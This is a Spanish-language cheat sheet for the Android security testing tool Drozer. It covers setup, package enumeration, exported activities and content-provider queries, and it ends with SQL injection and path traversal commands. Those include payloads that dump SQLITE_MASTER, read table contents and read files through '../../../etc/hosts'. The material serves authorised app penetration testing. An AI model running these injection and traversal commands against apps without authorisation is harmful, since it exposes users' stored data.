Drozer

https://github.com/WithSecureLabs/drozer

Instalación de Drozer Client

Instalación de Drozer en entorno virtual de Python 2.

# Creación y activación de entorno virtual
mkdir drozer && cd drozer
which python2
virtualenv -p /usr/bin/python2 drozer-env
source drozer-env/bin/activate

# Instalación de Drozer utilizando Python wheel
pip install drozer-2.4.4-py2-none-any.whl

# Instalación de dependencias de Drozer (pre-requisitos)
pip install twisted

Instalación de Drozer Agent (APK)

adb install <drozer-agent>.apk

Comandos generales

Iniciar consola de Drozer.

drozer console connect
drozer console connect --server <device-IP-address>

Obtener listado de aplicaciones instaladas.

run app.package.list
run app.package.list -f <filter>

Obtener información general de una aplicación.

run app.package.info -a <app-package-name>

Leer archivo AndroidManifest.xml de una aplicación.

run app.package.manifest <app-package-name>

Superficie de ataque de una aplicación.

run app.package.attacksurface <app-package-name>

Activities

Obtener activities con exportación habilitada de una aplicación.

run app.activity.info -a <app-package-name>

Iniciar activity con exportación habilitada.

run app.activity.start --component <app-package-name> <app-package-name>.<activity-name>

Content providers

Obtener content providers de una aplicación.

run app.provider.info -a <app-package-name>

Obtener URIs de content providers de una aplicación.

run app.provider.finduri <app-package-name>
run scanner.provider.finduris -a <app-package-name>

Interacción general con content providers.

# Select
run app.provider.query <uri>
run app.provider.query <uri> --projection <column-name>
run app.provider.query <uri> --selection <column-name>=<column-value>
run app.provider.query <uri> --selection <column-name>=\'<column-value>\'

# Insert
run app.provider.insert <uri> --<column-type> <column-name> <column-value>
run app.provider.insert <uri> --string <column-name> <column-value> --integer <column-name> <column-value>

# Delete
run app.provider.delete <uri>
run app.provider.delete <uri> --selection <column-name>=<column-value>
run app.provider.delete <uri> --selection <column-name>=\'<column-value>\'

# Update
run app.provider.update <uri> --selection <column-name>=<column-value> --<column-type> <column-name> <column-value>

# Lectura de archivo
run app.provider.read <uri>/<file>

# Descarga de archivo
run app.provider.download <uri>/<file> .

SQL injection (SQLi)

Identificación de SQLi.

run scanner.provider.injection -a <app-package-name>
run app.provider.query <uri> --projection "'"
run app.provider.query <uri> --selection "'"

Enumeración de tablas.

run scanner.provider.sqltables -a <app-package-name>
run app.provider.query <uri> --projection "* FROM SQLITE_MASTER WHERE type='table';--"

Obtención de datos de una tabla.

run app.provider.query <uri> --projection "* FROM <table>;--"

Path traversal

Identificación de path traversal.

run scanner.provider.traversal -a <app-package-name>

Lectura de archivo.

run app.provider.read <uri>/<file>
run app.provider.read <uri>/../../../<file>
run app.provider.read <uri>/../../../etc/hosts

Última actualización